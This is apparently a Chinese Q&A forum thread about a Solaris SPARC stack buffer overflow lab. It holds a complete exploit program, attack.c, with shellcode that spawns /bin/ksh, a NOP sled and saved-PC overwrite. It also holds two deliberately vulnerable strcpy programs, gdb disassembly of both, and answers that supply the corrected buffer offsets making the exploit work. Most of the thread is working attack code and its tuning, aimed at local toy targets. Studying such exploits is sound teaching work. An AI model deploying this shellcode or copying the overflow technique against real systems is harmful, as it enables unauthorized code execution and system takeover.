5
/* attack.c */
/* compile: cc -o attack attack.c */
#include <stdlib.h>
#include <stdio.h>

/* lsd - Solaris shellcode */
static char shell[] =        /* 10*4+8 bytes */
        "\x20\xbf\xff\xff"   /* bn,a  */
        "\x20\xbf\xff\xff"   /* bn,a  */
        "\x7f\xff\xff\xff"   /* call  */
        "\x90\x03\xe0\x20"   /* add %o7,32,%o0 */
        "\x92\x02\x20\x10"   /* add %o0,16,%o1 */
        "\xc0\x22\x20\x08"   /* st %g0,[%o0+8] */
        "\xd0\x22\x20\x10"   /* st %o0,[%o0+16] */
        "\xc0\x22\x20\x14"   /* st %g0,[%o0+20] */
        "\x82\x10\x20\x0b"   /* mov 0x0b,%g1 */
        "\x91\xd0\x20\x08"   /* ta 8 */
        "/bin/ksh" ;

#define BUFSIZE 464
#define DUFSIZE 456

/* SPARC NOP */
static char np[] = "\xac\x15\xa1\x6e";

unsigned long get_sp( void ){ asm("or %sp,%sp,%i0"); }

main( int argc, char *argv[] ) {

        char buf[ BUFSIZE+1 ],*ptr;
        unsigned long ret,sp;
        int rem,i,err;
        ret = sp = get_sp();

        /* align return address */
        if( ( rem = ret % 8 ) ){ ret &= ~(rem); }

        bzero( buf, BUFSIZE );
        for(i = 0; i < BUFSIZE; i += 4)
          strcpy( &buf[i], np );

        memcpy( (buf + BUFSIZE - strlen( shell ) - 8), shell, strlen( shell ));

        ptr = &buf[DUFSIZE];

        /* set fp to a save stack value */
        *( ptr++ ) = ( sp >> 24 ) & 0xff;
        *( ptr++ ) = ( sp >> 16 ) & 0xff;
        *( ptr++ ) = ( sp >> 8 ) & 0xff;
        *( ptr++ ) = ( sp ) & 0xff;

        /* overwrite saved PC */
        *( ptr++ ) = ( ret >> 24 ) & 0xff;
        *( ptr++ ) = ( ret >> 16 ) & 0xff;
        *( ptr++ ) = ( ret >> 8 ) & 0xff;
        *( ptr++ ) = ( ret ) & 0xff;

        buf[ BUFSIZE ] = 0;

        //err = execl( "./server1", "server1", buf, ( void *)0 );
        err = execl( "./server2", "server2", buf, ( void *)0 );
        if( err == -1 ) perror("execl");
}

编译运行attack.c,可以利用server1.c中的漏洞

/* server1.c */
/* compile: cc -o server1 server1.c */
void copy(const char *a){
    char foo[400];
    int i, j, k;
    strcpy(foo, a);
    i = 1;
}

void main(int argc, char *argv[]){

    if(argc >=2 )copy( argv[1] );
}

但是attack.c 对server2 不做同样的事情。知道为什么吗?

/* server2.c */
/* compile: cc -o server2 server2.c */
void copy2( const char *a ){
    char buf[200];
    int i, j, k;
    strcpy(buf,a);
    i = 1;
}

void copy1(const char *a){
    char foo[200];
    int i, j, k;
    copy2(a);
    i = 1;
}

void main( int argc, char *argv[] ) {

    if (argc >=2 )copy1( argv[1] );
}

这是 server2.c 的程序集:

(gdb) disas copy2
Dump of assembler code for function copy2:
0x00010bd8 <copy2+0>:   save  %sp, -304, %sp
0x00010bdc <copy2+4>:   add  %fp, -200, %o0
0x00010be0 <copy2+8>:   call  0x20ce8 <strcpy@plt>
0x00010be4 <copy2+12>:  mov  %i0, %o1
0x00010be8 <copy2+16>:  mov  1, %l0
0x00010bec <copy2+20>:  st  %l0, [ %fp + -204 ]
0x00010bf0 <copy2+24>:  ret 
0x00010bf4 <copy2+28>:  restore 
0x00010bf8 <copy2+32>:  ret 
0x00010bfc <copy2+36>:  restore 
0x00010c00 <copy2+40>:  illtrap  0x10000
0x00010c04 <copy2+44>:  illtrap  0x10000
0x00010c08 <copy2+48>:  illtrap  0x10000
0x00010c0c <copy2+52>:  illtrap  0x10000
End of assembler dump.
(gdb) disas copy1
Dump of assembler code for function copy1:
0x00010c10 <copy1+0>:   save  %sp, -304, %sp
0x00010c14 <copy1+4>:   call  0x10bd8 <copy2>
0x00010c18 <copy1+8>:   mov  %i0, %o0
0x00010c1c <copy1+12>:  mov  1, %l0
0x00010c20 <copy1+16>:  st  %l0, [ %fp + -204 ]
0x00010c24 <copy1+20>:  ret 
0x00010c28 <copy1+24>:  restore 
0x00010c2c <copy1+28>:  ret 
0x00010c30 <copy1+32>:  restore 
0x00010c34 <copy1+36>:  illtrap  0x10000
0x00010c38 <copy1+40>:  illtrap  0x10000
0x00010c3c <copy1+44>:  illtrap  0x10000
0x00010c40 <copy1+48>:  illtrap  0x10000
0x00010c44 <copy1+52>:  illtrap  0x10000
End of assembler dump.
(gdb) disas main 
Dump of assembler code for function main:
0x00010c48 <main+0>:    save  %sp, -96, %sp
0x00010c4c <main+4>:    cmp  %i0, 2
0x00010c50 <main+8>:    bl  0x10c68 <main+32>
0x00010c54 <main+12>:   nop 
0x00010c58 <main+16>:   call  0x10c10 <copy1>
0x00010c5c <main+20>:   ld  [ %i1 + 4 ], %o0
0x00010c60 <main+24>:   ret 
0x00010c64 <main+28>:   restore 
0x00010c68 <main+32>:   ret 
0x00010c6c <main+36>:   restore 
End of assembler dump.

对于 server1.c:

(gdb) disas copy
Dump of assembler code for function copy:
0x00010bc0 <copy+0>:    save  %sp, -504, %sp
0x00010bc4 <copy+4>:    add  %fp, -400, %o0
0x00010bc8 <copy+8>:    call  0x20c98 <strcpy@plt>
0x00010bcc <copy+12>:   mov  %i0, %o1
0x00010bd0 <copy+16>:   mov  1, %l0
0x00010bd4 <copy+20>:   st  %l0, [ %fp + -404 ]
0x00010bd8 <copy+24>:   ret 
0x00010bdc <copy+28>:   restore 
0x00010be0 <copy+32>:   ret 
0x00010be4 <copy+36>:   restore 
0x00010be8 <copy+40>:   illtrap  0x10000
0x00010bec <copy+44>:   illtrap  0x10000
0x00010bf0 <copy+48>:   illtrap  0x10000
0x00010bf4 <copy+52>:   illtrap  0x10000
End of assembler dump.
(gdb) disas main
Dump of assembler code for function main:
0x00010bf8 <main+0>:    save  %sp, -96, %sp
0x00010bfc <main+4>:    cmp  %i0, 2
0x00010c00 <main+8>:    bl  0x10c18 <main+32>
0x00010c04 <main+12>:   nop 
0x00010c08 <main+16>:   call  0x10bc0 <copy>
0x00010c0c <main+20>:   ld  [ %i1 + 4 ], %o0
0x00010c10 <main+24>:   ret 
0x00010c14 <main+28>:   restore 
0x00010c18 <main+32>:   ret 
0x00010c1c <main+36>:   restore 


End of assembler dump.

我需要在attack.c 中修改什么以使其利用server2.c?

4

3 回答 3

5

噗……终于。

#define BUFSIZE 464
#define DUFSIZE 256

我以为偏移量是 8,但它是 200 + 8。

于 2011-04-17T17:53:52.027 回答
1

也许编译器没有为foo[]in分配空间,copy1()因为它没有被使用。唯一确定的方法是查看为您的可执行文件生成的汇编代码。

于 2011-04-17T16:10:00.160 回答
0

根据我的理解,因为copy2()是被调用者并且copy1()是调用者并且堆栈帧在copy1下面copy2,我们找到分配给 foo 和 buff 的字节总和,它给出了缓冲区的大小。然后我们通过将一个值添加到 buff 的大小来获得偏移值。该值是通过计算在被调用者中调用缓冲区溢出指令的点的地址与在调用被调用者之后调用者中的返回地址之间的差异获得的,因为这是我们引入 shell 代码的地方。增益大小+32+32-8

于 2012-04-18T18:04:15.090 回答